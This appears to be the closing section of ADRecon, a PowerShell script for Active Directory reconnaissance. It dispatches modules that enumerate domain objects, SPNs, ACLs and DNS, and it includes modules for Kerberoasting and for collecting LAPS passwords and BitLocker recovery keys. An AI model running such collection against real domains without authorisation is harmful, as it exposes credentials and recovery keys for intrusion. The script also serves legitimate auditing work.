If ($ADRGroupMembers)
{
Write-Output "[-] Group Memberships - May take some time"
$ADRObject = Get-ADRGroupMember -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "GroupMembers"
Remove-Variable ADRObject
}
Remove-Variable ADRGroupMembers
}
If ($ADROUs)
{
Write-Output "[-] OrganizationalUnits (OUs)"
$ADRObject = Get-ADROU -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "OUs"
Remove-Variable ADRObject
}
Remove-Variable ADROUs
}
If ($ADRGPOs)
{
Write-Output "[-] GPOs"
$ADRObject = Get-ADRGPO -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "GPOs"
Remove-Variable ADRObject
}
Remove-Variable ADRGPOs
}
If ($ADRgPLinks)
{
Write-Output "[-] gPLinks - Scope of Management (SOM)"
$ADRObject = Get-ADRgPLink -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "gPLinks"
Remove-Variable ADRObject
}
Remove-Variable ADRgPLinks
}
If ($ADRDNSZones)
{
Write-Output "[-] DNS Zones and Records"
Get-ADRDNSZone -Protocol $Protocol -ADROutputDir $ADROutputDir -objDomain $objDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -OutputType $OutputType
Remove-Variable ADRDNSZones
}
If ($ADRPrinters)
{
Write-Output "[-] Printers"
$ADRObject = Get-ADRPrinter -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Printers"
Remove-Variable ADRObject
}
Remove-Variable ADRPrinters
}
If ($ADRComputers)
{
Write-Output "[-] Computers - May take some time"
$ADRObject = Get-ADRComputer -Protocol $Protocol -date $date -objDomain $objDomain -DormantTimeSpan $DormantTimeSpan -PassMaxAge $PassMaxAge -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Computers"
Remove-Variable ADRObject
}
Remove-Variable ADRComputers
}
If ($ADRComputerSPNs)
{
Write-Output "[-] Computer SPNs"
$ADRObject = Get-ADRComputerSPN -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "ComputerSPNs"
Remove-Variable ADRObject
}
Remove-Variable ADRComputerSPNs
}
If ($ADRLAPS)
{
Write-Output "[-] LAPS - Needs Privileged Account"
$ADRObject = Get-ADRLAPSCheck -Protocol $Protocol -objDomain $objDomain -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "LAPS"
Remove-Variable ADRObject
}
Remove-Variable ADRLAPS
}
If ($ADRBitLocker)
{
Write-Output "[-] BitLocker Recovery Keys - Needs Privileged Account"
$ADRObject = Get-ADRBitLocker -Protocol $Protocol -objDomain $objDomain -DomainController $DomainController -Credential $Credential
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "BitLockerRecoveryKeys"
Remove-Variable ADRObject
}
Remove-Variable ADRBitLocker
}
If ($ADRACLs)
{
Write-Output "[-] ACLs - May take some time"
$ADRObject = Get-ADRACL -Protocol $Protocol -objDomain $objDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -Threads $Threads
Remove-Variable ADRACLs
}
If ($ADRGPOReport)
{
Write-Output "[-] GPOReport - May take some time"
Get-ADRGPOReport -Protocol $Protocol -UseAltCreds $UseAltCreds -ADROutputDir $ADROutputDir
Remove-Variable ADRGPOReport
}
If ($ADRKerberoast)
{
Write-Output "[-] Kerberoast"
$ADRObject = Get-ADRKerberoast -Protocol $Protocol -objDomain $objDomain -Credential $Credential -PageSize $PageSize
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "Kerberoast"
Remove-Variable ADRObject
}
Remove-Variable ADRKerberoast
}
If ($ADRDomainAccountsusedforServiceLogon)
{
Write-Output "[-] Domain Accounts used for Service Logon - Needs Privileged Account"
$ADRObject = Get-ADRDomainAccountsusedforServiceLogon -Protocol $Protocol -objDomain $objDomain -Credential $Credential -PageSize $PageSize -Threads $Threads
If ($ADRObject)
{
Export-ADR -ADRObj $ADRObject -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "DomainAccountsusedforServiceLogon"
Remove-Variable ADRObject
}
Remove-Variable ADRDomainAccountsusedforServiceLogon
}
$TotalTime = "{0:N2}" -f ((Get-DateDiff -Date1 (Get-Date) -Date2 $date).TotalMinutes)
$AboutADRecon = Get-ADRAbout -Protocol $Protocol -date $date -ADReconVersion $ADReconVersion -Credential $Credential -RanonComputer $RanonComputer -TotalTime $TotalTime
If ( ($OutputType -Contains "CSV") -or ($OutputType -Contains "XML") -or ($OutputType -Contains "JSON") -or ($OutputType -Contains "HTML") )
{
If ($AboutADRecon)
{
Export-ADR -ADRObj $AboutADRecon -ADROutputDir $ADROutputDir -OutputType $OutputType -ADRModuleName "AboutADRecon"
}
Write-Output "[*] Total Execution Time (mins): $($TotalTime)"
Write-Output "[*] Output Directory: $ADROutputDir"
$ADRSTDOUT = $false
}
Switch ($OutputType)
{
'STDOUT'
{
If ($ADRSTDOUT)
{
Write-Output "[*] Total Execution Time (mins): $($TotalTime)"
}
}
'HTML'
{
Export-ADR -ADRObj $(New-Object PSObject) -ADROutputDir $ADROutputDir -OutputType $([array] "HTML") -ADRModuleName "Index"
}
'EXCEL'
{
Export-ADRExcel $ADROutputDir
}
}
Remove-Variable TotalTime
Remove-Variable AboutADRecon
Set-Location $returndir
Remove-Variable returndir
If (($Protocol -eq 'ADWS') -and $UseAltCreds)
{
Remove-PSDrive ADR
}
If ($Protocol -eq 'LDAP')
{
$objDomain.Dispose()
$objDomainRootDSE.Dispose()
}
If ($ADROutputDir)
{
Remove-EmptyADROutputDir $ADROutputDir $OutputType
}
Remove-Variable ADReconVersion
Remove-Variable RanonComputer
}
If ($Log)
{
Start-Transcript -Path "$(Get-Location)\ADRecon-Console-Log.txt"
}
Invoke-ADRecon -GenExcel $GenExcel -Protocol $Protocol -Collect $Collect -DomainController $DomainController -Credential $Credential -OutputType $OutputType -ADROutputDir $OutputDir -DormantTimeSpan $DormantTimeSpan -PassMaxAge $PassMaxAge -PageSize $PageSize -Threads $Threads
If ($Log)
{
Stop-Transcript
}